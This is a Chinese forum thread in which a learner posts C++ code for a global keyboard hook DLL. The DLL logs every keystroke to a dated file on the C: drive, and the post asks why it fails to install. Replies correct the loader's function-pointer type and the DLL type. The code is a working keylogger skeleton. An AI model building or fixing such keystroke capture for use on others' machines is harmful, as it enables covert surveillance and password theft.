这是我修改的网上的一段代码
在dll文件中:
cpp 文件
#include "stdafx.h"
#include "Afxwin.h"
#include "xinDll.h"
#include "stdio.h"
#include "windows.h"
#pragma data_seg("Shared")
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
#pragma data_seg()
#pragma comment(linker,"/section:Shared,rws")
HINSTANCE stance = AfxGetInstanceHandle();
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookExA(WH_KEYBOARD, LauncherHook, (HINSTANCE)stance, 0);
if(Hook==NULL)
{::MessageBox(0,"gouzimeianshang!",0,0);}
} LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
} void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
xindll.h头文件代码:
#pragma once
#ifndef DLLExport
#define DllExport __declspec(dllexport)
#endif
DllExport void WINAPI InstallLaunchEv();
调用程序代码:
cpp:
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
typedef int(*lpAddFun)(int, int); //宏定义函数指针类型
int main(int argc, char *argv[])
{
HINSTANCE hDll; //DLL句柄
lpAddFun addFun; //函数指针
hDll = LoadLibrary("xindll.dll");
if (hDll != NULL)
{
addFun = (lpAddFun)GetProcAddress(hDll, "InstallLaunchEv");
if (addFun != NULL)
{
int result;
result = addFun(2, 3);
printf("%d",result);
::MessageBox(NULL,"你好!","欢迎界面",MB_OK);
}
else
::MessageBox(NULL,"失败","欢迎界面",MB_OK);
FreeLibrary(hDll);
}
return 0;
}
以上程序运行后老是报两个错误:
1.
2.然后我点忽略 就弹出失败对话框
请高手教下 谢谢
在dll文件中:
cpp 文件
#include "stdafx.h"
#include "Afxwin.h"
#include "xinDll.h"
#include "stdio.h"
#include "windows.h"
#pragma data_seg("Shared")
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
#pragma data_seg()
#pragma comment(linker,"/section:Shared,rws")
HINSTANCE stance = AfxGetInstanceHandle();
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookExA(WH_KEYBOARD, LauncherHook, (HINSTANCE)stance, 0);
if(Hook==NULL)
{::MessageBox(0,"gouzimeianshang!",0,0);}
} LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
} void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
xindll.h头文件代码:
#pragma once
#ifndef DLLExport
#define DllExport __declspec(dllexport)
#endif
DllExport void WINAPI InstallLaunchEv();
调用程序代码:
cpp:
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
typedef int(*lpAddFun)(int, int); //宏定义函数指针类型
int main(int argc, char *argv[])
{
HINSTANCE hDll; //DLL句柄
lpAddFun addFun; //函数指针
hDll = LoadLibrary("xindll.dll");
if (hDll != NULL)
{
addFun = (lpAddFun)GetProcAddress(hDll, "InstallLaunchEv");
if (addFun != NULL)
{
int result;
result = addFun(2, 3);
printf("%d",result);
::MessageBox(NULL,"你好!","欢迎界面",MB_OK);
}
else
::MessageBox(NULL,"失败","欢迎界面",MB_OK);
FreeLibrary(hDll);
}
return 0;
}
以上程序运行后老是报两个错误:
1.
2.然后我点忽略 就弹出失败对话框
请高手教下 谢谢
typedef int(*lpAddFun)(int, int);
改成:
typedef void (*lpAddFun)();result = addFun(2, 3);
改成:
addFun();
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
typedef void(*lpAddFun)(); //宏定义函数指针类型
int main(int argc, char *argv[])
{
HINSTANCE hDll; //DLL句柄
lpAddFun addFun; //函数指针
hDll = LoadLibrary("xindll.dll");
if (hDll != NULL)
{
addFun = (lpAddFun)GetProcAddress(hDll, "InstallLaunchEv");
if (addFun != NULL)
{
addFun();
::MessageBox(NULL,"你好!","欢迎界面",MB_OK);
}
else
::MessageBox(NULL,"失败","欢迎界面",MB_OK);
FreeLibrary(hDll);
}
return 0;
}
就出现这个:这个钩子是一个dll 一个exe程序调试时候都没有错误就是运行exe后出现了这些,我想一定是钩子没挂上可是为什么挂不上不知道!?
Microsoft Visual C++ Debug Library
---------------------------
Debug Assertion Failed!
Program: E:\学习\c++程序\keyhook\Debug\keyhook.exe
File: afxwin1.inl
Line: 19
For information on how your program can cause an assertion
failure, see the Visual C++ documentation on asserts.
(Press Retry to debug the application)
---------------------------
终止(A) 重试(R) 忽略(I)
---------------------------
然后 我点忽略 就出下下面这个对话框(就是程序里写的那个出错对话框)
--------------------------
欢迎界面
--------------------------
失败
--------------------------
确定
--------------------------然后我再点确定程序就结束了 我想一定是钩子没挂上可是为什么挂不上不知道!?
另外,这种用做Hook的DLL最好用Win32 DLL,如果一定要用MFC,也要用MFC规则DLL,不能用MFC扩展DLL。
生成程序时只会做语法检查,并不能保证程序的代码是否正确。VB中没遇到这种问题只能说你写的代码还不够多。
Debug Assertion Failed! 把断言的地方打出来